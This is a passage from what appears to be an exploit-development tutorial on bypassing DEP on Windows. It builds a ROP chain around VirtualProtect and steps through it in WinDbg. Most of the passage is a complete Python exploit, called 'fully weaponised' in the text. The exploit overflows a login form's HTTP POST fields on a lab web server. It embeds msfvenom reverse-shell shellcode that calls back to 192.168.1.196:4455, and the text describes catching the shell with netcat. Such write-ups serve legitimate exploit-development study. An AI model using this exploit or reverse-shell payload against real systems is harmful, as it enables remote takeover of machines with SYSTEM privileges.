rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)

rop2 += struct.pack('<L', 0x6ff63bdb) # 0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret  ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret  ;  - shell32.dll

rop2 += struct.pack('<L', 0x41acef76) # 0x41acef76: xor eax, eax ; ret  ;  - ws2_32.dll
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141) # compensation for pop ebp
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)

rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret ; - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) 
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret ; - shell32.dll

rop2 += struct.pack('<L', 0x41acef76) # 0x41acef75: xor eax, eax ; ret ; - ws2_32.dll

rop2 += struct.pack('<L', 0x77bd6cdc) #0x77bd6cdc: add eax, 0x02 ; ret  ;  (1 found)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)

rop2 += struct.pack('<L', 0x73805ab6) # 0x77f1b27b: inc edx ; ret ; - ntdll.dll
rop2 += struct.pack('<L', 0x73805ab6)
rop2 += struct.pack('<L', 0x73805ab6)
rop2 += struct.pack('<L', 0x73805ab6)

rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret ; - shell32.dll 

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Now let’s run the exploit and understand what we just did.

So, step through the disassembly until you reach the first xor eax gadget.

image alt text image alt text

EAX now get’s zeroed out.

image alt text image alt text

The next gadgets increment EAX to 300.

image alt text image alt text

Now EAX contains the value of the size parameter. The next gadgets increment EDX by 4 bytes to point at the EAX register.

Step through until you reach mov dword [edx], eax ; ret

image alt text image alt text

The address of the size placeholder parameter will now point to the value of EAX (0x300):

image alt text image alt text

The next gadgets up are for the flNewProtect parameter, stepping through the disassembly this is what will happen: we will xor eax again, and then add 40 to eax, then EDX will be incremented by 4 bytes and will point to the value of EAX, and EAX will contain 0x40.

image alt text image alt text

EAX is zeroed out.

image alt text image alt text

EAX now contains the value 0x40.

After EDX has been incremented by 4 bytes, EDX will now point to the value of EAX, and the flNewProtect parameter placeholder will contain 0x40!

image alt text image alt text

image alt text image alt text

Nice, we now have all the parameters ready, all we need to do now is jump back to the VirtualProtect call.

In the beginning of this post we saved the stack pointer into ECX and then we incremented it by 4 bytes to equal the value of the return parameter, we’re done with the return parameter now, so if we decrement ECX by 4 bytes we will land back at the VirtualProtect call. But instead of decrementing ECX directly, we will use EAX because EAX is good for calculations. So we will save the value of ECX into EAX and then decrement EAX by 4 bytes.

Before we do this though, we will increase the return address and lpAddress parameters by another 100 bytes, we have added alot and those parameters may not be pointing near our shellcode anymore due to the stack moving.

We will use this gadget again:

#0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)

Except this time, we will go back in the PoC to where we first use this, and add it again underneath, like this:

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
rop2 += struct.pack('<L', 0x41414141) #padding for pop ebp
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)

Now we will use this gadget to mov ECX into EAX:

0x77e3e990: mov eax, ecx ; ret ; kernel32.dll

Then we decrement EAX by 4 bytes (This gadget is used x2 in the PoC):

0x41ac80db: dec eax ; dec eax ; ret ; - ws2_32.dll

Finally, all we have to do is find an exch eax, esp gadget. I found one in ntdll.dll:

0x77ed5789: xchg eax, esp ; ret ; ntdll.dll

This is the final PoC, a fully weaponised DEP bypass:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x6ff7e29a) # reusing this gadget
rop2 += struct.pack('<L', 0x41414141)


rop2 += struct.pack('<L', 0x6ff63bdb) # 0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret  ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret  ;  - shell32.dll

rop2 += struct.pack('<L', 0x41acef76) # 0x41acef76: xor eax, eax ; ret  ;  - ws2_32.dll
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141) # compensation for pop ebp
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)

rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret ; - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) 
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret ; - shell32.dll

rop2 += struct.pack('<L', 0x41acef76) # 0x41acef75: xor eax, eax ; ret ; - ws2_32.dll

rop2 += struct.pack('<L', 0x77bd6cdc) #0x77bd6cdc: add eax, 0x02 ; ret  ;  (1 found)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)
rop2 += struct.pack('<L', 0x77bd6cdc)

rop2 += struct.pack('<L', 0x73805ab6) # 0x77f1b27b: inc edx ; ret ; - ntdll.dll
rop2 += struct.pack('<L', 0x73805ab6)
rop2 += struct.pack('<L', 0x73805ab6)
rop2 += struct.pack('<L', 0x73805ab6)

rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret ; - shell32.dll

rop2 += struct.pack('<L', 0x77e3e990) # 0x77e3e990: mov eax, ecx ; ret  ;  kernel32.dll
rop2 += struct.pack('<L', 0x41ac80db) # 0x41ac80db: dec eax ; dec eax ; ret  ;  - ws2_32.dll 
rop2 += struct.pack('<L', 0x41ac80db)
rop2 += struct.pack('<L', 0x77ed5789) # 0x77ed5789: xchg eax, esp ; ret  ;  ntdll.dll

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x1c\x82\x2f\x8f\x83\xee\xfc\xe2\xf4\xe0\x6a"
buf += b"\xad\x8f\x1c\x82\x4f\x06\xf9\xb3\xef\xeb\x97\xd2\x1f"
buf += b"\x04\x4e\x8e\xa4\xdd\x08\x09\x5d\xa7\x13\x35\x65\xa9"
buf += b"\x2d\x7d\x83\xb3\x7d\xfe\x2d\xa3\x3c\x43\xe0\x82\x1d"
buf += b"\x45\xcd\x7d\x4e\xd5\xa4\xdd\x0c\x09\x65\xb3\x97\xce"
buf += b"\x3e\xf7\xff\xca\x2e\x5e\x4d\x09\x76\xaf\x1d\x51\xa4"
buf += b"\xc6\x04\x61\x15\xc6\x97\xb6\xa4\x8e\xca\xb3\xd0\x23"
buf += b"\xdd\x4d\x22\x8e\xdb\xba\xcf\xfa\xea\x81\x52\x77\x27"
buf += b"\xff\x0b\xfa\xf8\xda\xa4\xd7\x38\x83\xfc\xe9\x97\x8e"
buf += b"\x64\x04\x44\x9e\x2e\x5c\x97\x86\xa4\x8e\xcc\x0b\x6b"
buf += b"\xab\x38\xd9\x74\xee\x45\xd8\x7e\x70\xfc\xdd\x70\xd5"
buf += b"\x97\x90\xc4\x02\x41\xea\x1c\xbd\x1c\x82\x47\xf8\x6f"
buf += b"\xb0\x70\xdb\x74\xce\x58\xa9\x1b\x7d\xfa\x37\x8c\x83"
buf += b"\x2f\x8f\x35\x46\x7b\xdf\x74\xab\xaf\xe4\x1c\x7d\xfa"
buf += b"\xdf\x4c\xd2\x7f\xcf\x4c\xc2\x7f\xe7\xf6\x8d\xf0\x6f"
buf += b"\xe3\x57\xb8\xe5\x19\xea\xef\x27\x1d\x46\x47\x8d\x1c"
buf += b"\x93\x48\x06\xfa\xe8\x3f\xd9\x4b\xea\xb6\x2a\x68\xe3"
buf += b"\xd0\x5a\x99\x42\x5b\x83\xe3\xcc\x27\xfa\xf0\xea\xdf"
buf += b"\x3a\xbe\xd4\xd0\x5a\x74\xe1\x42\xeb\x1c\x0b\xcc\xd8"
buf += b"\x4b\xd5\x1e\x79\x76\x90\x76\xd9\xfe\x7f\x49\x48\x58"
buf += b"\xa6\x13\x8e\x1d\x0f\x6b\xab\x0c\x44\x2f\xcb\x48\xd2"
buf += b"\x79\xd9\x4a\xc4\x79\xc1\x4a\xd4\x7c\xd9\x74\xfb\xe3"
buf += b"\xb0\x9a\x7d\xfa\x06\xfc\xcc\x79\xc9\xe3\xb2\x47\x87"
buf += b"\x9b\x9f\x4f\x70\xc9\x39\xdf\x3a\xbe\xd4\x47\x29\x89"
buf += b"\x3f\xb2\x70\xc9\xbe\x29\xf3\x16\x02\xd4\x6f\x69\x87"
buf += b"\x94\xc8\x0f\xf0\x40\xe5\x1c\xd1\xd0\x5a"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Before running this exploit you will want to set a listening running with netcat, if using a reverse shell.

image alt text image alt text

Step through the disassembly to reach the last few gadgets and stop at mov ecx, eax so we can step through the disassembly and observe the changes.

ECX get’s moved into EAX here:

image alt text image alt text

Now EAX is decremented by 4 bytes to reach the VirtualProtect call:

image alt text image alt text

image alt text image alt text

The exchange occurs an now EAX and ESP have swapped places:

image alt text image alt text

image alt text image alt text

After execution of the final ret it will kick off execution process, now unless you want to step through the entire thing, you can simply type g in windbg and hit enter and you will get the shell!!

WOOOO!! If you got this far well done, that was a long post, but nt authority\system is always worth it..!!

Shoutout to Connor Mcgarr, Morten Schenk and corelan. I learnt alot from you!